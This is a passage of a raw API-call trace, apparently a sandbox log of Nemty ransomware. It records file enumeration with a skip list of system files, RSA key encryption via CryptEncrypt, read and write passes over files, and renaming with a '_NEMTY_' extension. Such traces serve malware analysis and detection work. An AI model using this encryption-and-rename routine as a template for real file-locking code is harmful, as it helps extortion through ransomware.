returned 1 [0166.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402c0 [0166.481] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402c0, pcchString=0x653e91c | out: pszString="SsCFByPbGjL5O8iRSzTdNReo1Lbe9LLyp7/TjYqzwoUU6TlKhE/g0jI0bi0zOrVf\r\nIUNcwe+D0K5JfvWAxXd8ykwQPSX9tLtUPs6jpQzzFimTmv+eiaJy41KIPeJL/n94\r\nETjtBl9d2NlaQm+0uhrmfjDv8QC4+HKmgkz/ab3uCzLAzu/aKxBUt++9wIToG4lg\r\nzmSbRRM/De6SjyjPxkykMct2Ch14UZjfd1JShq9dikx6suvwpSdIzsPQt8NRtjsR\r\nlvX3iCawODSiGRGG3sj2eRk6zcNXId5UK7SDxukUFIW5eskRipM4iIzYRbKC/LjB\r\ngT2wcJ8//tu/o4ls3r7BOg==\r\n", pcchString=0x653e91c) returned 1 [0166.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0166.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c0 | out: hHeap=0x4f90000) returned 1 [0166.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0166.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0166.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402c0 [0166.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0166.482] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-last-quarter_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-last-quarter_partly-cloudy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0166.482] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0166.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0166.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.483] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.492] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.492] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.501] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.501] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.502] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.511] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.511] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.520] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.520] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.529] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.529] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.529] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.529] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.539] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.539] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.539] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.539] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.548] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.548] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.548] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.548] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.557] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.557] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.558] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.567] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.567] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.576] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.576] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.577] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.577] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.583] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.583] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.589] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.589] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402c0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0166.589] CloseHandle (hObject=0xffffffff) returned 0 [0166.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340430 [0166.589] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0166.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0166.589] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0166.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0166.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0166.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6343fe8 [0166.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x166) returned 0x63440e0 [0166.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0166.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0166.589] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-last-quarter_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-last-quarter_partly-cloudy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-last-quarter_partly-cloudy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-last-quarter_partly-cloudy.png._nemty_kgobjgd_")) returned 0 [0166.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440e0 | out: hHeap=0x4f90000) returned 1 [0166.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0166.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0166.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c0 | out: hHeap=0x4f90000) returned 1 [0166.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0166.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0166.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0166.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0166.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0166.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0166.589] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d9032e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d9032e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x312db1e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x558a, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_black_moon-new.png", cAlternateFileName="")) returned 1 [0166.589] lstrcmpiW (lpString1="undocked_black_moon-new.png", lpString2=".") returned 1 [0166.590] lstrcmpiW (lpString1="undocked_black_moon-new.png", lpString2="..") returned 1 [0166.590] lstrcmpiW (lpString1="undocked_black_moon-new.png", lpString2="...") returned 1 [0166.590] lstrcmpiW (lpString1="undocked_black_moon-new.png", lpString2="windows") returned -1 [0166.590] lstrcmpiW (lpString1="undocked_black_moon-new.png", lpString2="$RECYCLE.BIN") returned 1 [0166.590] lstrcmpiW (lpString1="undocked_black_moon-new.png", lpString2="rsa") returned 1 [0166.590] lstrcmpiW (lpString1="undocked_black_moon-new.png", lpString2="NTDETECT.COM") returned 1 [0166.590] lstrcmpiW (lpString1="undocked_black_moon-new.png", lpString2="ntldr") returned 1 [0166.590] lstrcmpiW (lpString1="undocked_black_moon-new.png", lpString2="MSDOS.SYS") returned 1 [0166.590] lstrcmpiW (lpString1="undocked_black_moon-new.png", lpString2="IO.SYS") returned 1 [0166.590] lstrcmpiW (lpString1="undocked_black_moon-new.png", lpString2="boot.ini") returned 1 [0166.590] lstrcmpiW (lpString1="undocked_black_moon-new.png", lpString2="boot.ini") returned 1 [0166.590] lstrcmpiW (lpString1="undocked_black_moon-new.png", lpString2="AUTOEXEC.BAT") returned 1 [0166.590] lstrcmpiW (lpString1="undocked_black_moon-new.png", lpString2="ntuser.dat") returned 1 [0166.590] lstrcmpiW (lpString1="undocked_black_moon-new.png", lpString2="desktop.ini") returned 1 [0166.590] lstrcmpiW (lpString1="undocked_black_moon-new.png", lpString2="CONFIG.SYS") returned 1 [0166.590] lstrcmpiW (lpString1="undocked_black_moon-new.png", lpString2="RECYCLER") returned 1 [0166.590] lstrcmpiW (lpString1="undocked_black_moon-new.png", lpString2="BOOTSECT.BAK") returned 1 [0166.590] lstrcmpiW (lpString1="undocked_black_moon-new.png", lpString2="bootmgr") returned 1 [0166.590] lstrcmpiW (lpString1="undocked_black_moon-new.png", lpString2="programdata") returned 1 [0166.590] lstrcmpiW (lpString1="undocked_black_moon-new.png", lpString2="appdata") returned 1 [0166.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0166.590] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-new.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0166.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0166.590] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-new.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-new.png", lpUsedDefaultChar=0x0) returned 27 [0166.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0166.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0166.590] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-new.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0166.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0166.590] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-new.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-new.png", lpUsedDefaultChar=0x0) returned 27 [0166.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0166.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0166.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0166.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0166.590] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-new.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0166.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0166.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-new.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-new.png", lpUsedDefaultChar=0x0) returned 27 [0166.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0166.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0166.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-new.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0166.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0166.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-new.png", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-new.png", lpUsedDefaultChar=0x0) returned 27 [0166.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0166.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401c8 [0166.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0166.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400d0 [0166.591] Sleep (dwMilliseconds=0x5) [0166.606] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x16f3a1b0, dwHighDateTime=0x1d561e8)) [0166.606] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x16f3a1b0, dwHighDateTime=0x1d561e8)) [0166.606] GetLastError () returned 0x5 [0166.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0166.606] GetLastError () returned 0x5 [0166.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0166.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0166.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0166.606] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0166.606] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0166.606] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0166.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340290 [0166.606] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340290, pcchString=0x653e91c | out: pszString="IXKVEmQsc+CWTpWSKCXR7t+fkaUpYnON9Kd3bu4gAis9htchrwSxpPyBNeAUoYrx\r\n0vzGXEEOL7xgq/n1CVibJ0Draws0RWu2O/aPMXn0PHNnbX9rpdARFdy5C4GSH85v\r\nBV3AJ8pFWKP6L6MjRUhWujP0sWkhUH/31gBWT0uSE/xo3m3x6rCUG5MkUz+AbviJ\r\ngxjY4WBOIr22qWceUsnNICuII3FLCAa80n4J2YA2wl/qg5j/r0clKvz5r3uG0BZt\r\n6C0lNn+ZQEppH1xW6A/pgGuDaBtiO9nv/xkdCwszcjIXGMuZoAnlcEQfiOWT1HMV\r\nBX8ksF9qY8iepgrfgOMEVQ==\r\n", pcchString=0x653e91c) returned 1 [0166.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0166.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0166.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0166.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0166.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340290 [0166.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0166.607] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-new.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-new.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0166.607] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0166.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0166.607] SetFilePointer (in: hFile=0xffffffff, 